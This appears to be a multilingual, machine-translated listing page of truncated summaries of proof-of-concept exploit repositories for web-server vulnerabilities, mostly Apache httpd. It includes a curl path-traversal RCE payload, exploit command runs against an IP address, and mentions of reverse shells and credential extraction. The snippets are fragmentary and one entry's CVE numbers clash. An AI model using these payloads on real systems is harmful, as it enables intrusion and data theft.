CVE-2021-41773

CVE-2021-41773 केवल Apache httpd 2.4.49 केवल शैक्षिक उद्देश्यों के लिए। विवरण के लिए संदर्भ देखें। चलाएँ root@kitploit: $ git clone https://github.com/masahiro331/CVE-2021-41773.git $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run -d -p 8080:80 cve-2021-41773 शोषण root@kitploit...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo httpd कमांड निष्पादन ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013 . drwxr-xr...

badblood

Bad Blood Bad Blood هو استغلال لـ CVE-2021-20038، وهو تجاوز سعة مخزن مؤقت قائم على المكدس في ثنائي httpd لأنظمة سلسلة SMA-100 التي تستخدم إصدارات البرامج الثابتة 10.2.1.x. لقد كتبت الكثير من التفاصيل التقنية هنا: AttackerKB CVE-2021-20038 الاستغلال، كما هو مكتوب، سيفتح قشرة telnet مرتبطة على المن...

POC-CVE-2021-41773

POC CVE-2021-41773 N|Solid POC لاختبار الثغرة الأمنية CVE-2021-41773 الخاصة بخدمة Apache HTTPD 2.4.49. POC افتح الطرفية المفضلة لديك وقم بتشغيل هذه الأوامر. التبويب الأول: root@kitploit: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py التبويب الثاني: root@kitploit:...

CVE-2026-49975

...

XiongMai uc-httpd 1.0.0 - Buffer Overflow

Buffer overflow in XiongMai uc-httpd 1.0.0 has unspecified impact and attack vectors, a different vulnerability than CVE-2017-16725. id: CVE-2018-10088 info: name: XiongMai uc-httpd 1.0.0 - Buffer Overflow author: 0xAkoko severity: critical description: | Buffer overflow in XiongMai uc-httpd 1.0....

Cherokee HTTPD <=0.5 - Cross-Site Scripting

Cherokee HTTPD 0.5 and earlier contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via a malformed request that generates an HTTP 400 error, which is not properly handled when the error message is generated. id: CVE-2006-1681 info:...

CVE-2024-27316_poc

CVE-2024-27316 HTTP/2 CONTINUATION flood PoC Целевой сервер Apache httpd Запуск root@kitploit: docker-compose up -d Проверка подключения httpd v2.4.58 уязвимая root@kitploit: curl --http2 -i --head http://localhost:3392/ curl --http2 -i --head -k https://localhost:3393/ httpd v2.4.59 исправленная...

CVE-2020-36109-POC

CVE-2020-36109-POC 13 février 2021, Altin Thartori, github.com/tin-z Détails de la vulnérabilité Le firmware du routeur ASUS RT-AX86U dans les versions antérieures à 9.0.0.4386 présente un débordement de tampon dans la fonction blockingrequest.cgi du module httpd, ce qui peut permettre l'exécutio...

cve-2021-41773

cve-2021-41773 تشغيل الخادم $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 الاستغلال curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' السبب خطأ في إعدادات ملف httpd.conf مع Path traversal يؤدي إلى RCE...

CVE-2021-41730

TENDA: удаленное выполнение команд после авторизации Автор эксплойта: SHENGXI [email protected] Вендор: TENDA CVE-2021-41730 - /bin/httpd Версия прошивки: AC15: =USAC15V1.0BRV15.03.05.20multiTDE01.bin AC6: USAC6V1.0BRV15.03.05.16multiTD01.bin ....... Ссылка на оборудование:...

CVE-2021-41773-i-

CVE-2021-41773 Docker를 이용한 CVE-2021-41773 POC 구성 httpd.conf 파일을 사용자 지정하려면 섹션의 251번째 줄에서 Require all denied를 Require all granted로 변경하세요. root@kitploit: AllowOverride none Require all granted 프로젝트에 Dockerfile 생성 root@kitploit: FROM httpd:2.4.49 COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf 그...

CVE-2023-26067

CVE-2023-34362 أكواد إثبات المفهوم POCs لاستخراج بيانات الاعتماد، والصدف العكسية، وتشغيل الموسيقى من خلال استغلال ثغرة حقن أوامر، CVE-2023-26067، التي تؤثر على طابعات Lexmark. التحليل الفني يمكن العثور على تحليل تقني للسبب الجذري للثغرة في مدونتنا:...

CVE-2026-23918

CVE-2026-23918 خطأ تحرير مزدوج في تنظيف تدفق modhttp2 في Apache httpd يؤدي إلى تنفيذ برمجيات عن بُعد قبل المصادقة. المتأثر: httpd 2.4.66 مع modhttp2 و MPM متعدد الخيوط event/worker. أُصلح في: 2.4.67. تم الاكتشاف والإبلاغ بواسطة Bartlomiej Dmitruk striga.ai و Stanislaw Strzalkowski isec.pl. الشرح:...

apache-httpd-path-traversal-checker

apache httpd path traversal checker 0x00 सारांश 20211005 को, ऑनलाइन apache httpd 2.4.49 की निर्देशिका ट्रैवर्सल भेद्यता cve-2021-41773 सामने आई, जो मनमानी फ़ाइल पढ़ने का कारण बन सकती है यदि ट्रैवर्स की गई निर्देशिका तक पहुँच की अनुमति है, जैसे कि Require all granted कॉन्फ़िगर किया गया हो, डिफ़ॉल्...

CVE-2019-10092_Docker

CVE-2019-10092 Docker - Apache HTTP Server Utilisation root@kitploit: $ docker-compose up Utilisation depuis Docker Hub root@kitploit: $ docker run -p 5555:5555 motikan2010/cve-2019-10092 PoC Disclosures/CVE-2019-10092-Limited Cross-Site Scripting in modproxy Error Page-Apache httpd at master ·...

optionsbleed

optionsbleed هذا رمز إثبات مفهوم لاختبار ثغرة Optionsbleed في Apache httpd CVE-2017-9798. يُرجى النظر في استخدام الأداة Snallygaster بدلاً من ذلك، فهي تتضمن فحصًا لـ optionsbleed: root@kitploit: snallygaster -t optionsbleed host الاستخدام root@kitploit: optionsbleed -h -n N -a -u hosttocheck التح...

CVE-2021-41773_CVE-2021-42013_Exploits

Explorando CVE-2021-41773 e CVE-2021-42013 Visão Geral Este repositório foca em explorar duas vulnerabilidades no Apache HTTPD: CVE-2021-41773 e CVE-2021-42013. Esses CVEs representam vulnerabilidades de travessia de caminho que podem potencialmente levar ao mapeamento de arquivos e à execução...

CVE-2025-41244

💻 단계별 기술 프로세스 프로그램 컴파일 bash C 코드를 실행 파일로 컴파일 gcc -o /tmp/httpd /tmp/CVE-2025-41244.c 실행 가능하도록 설정 chmod +x /tmp/httpd 버전 기능 테스트 bash -v 플래그 테스트 버전 출력 후 종료 /tmp/httpd -v -V 플래그 테스트 상세 버전 출력 후 종료 /tmp/httpd -V 4단계: 익스플로잇 실행 bash 프로세스 목록에 나타나도록 백그라운드에서 실행 /tmp/httpd &...

CVE-2019-16278

Exploit per CVE-2019-16278 e CVE-2019-16279 Nostromo httpd è soggetto a 2 vulnerabilità critiche per versioni &1 Questo bug è dovuto a una correzione incompleta per CVE-2011-0751. Possiamo aggirare un controllo per che ci permette di eseguire con argomenti arbitrari...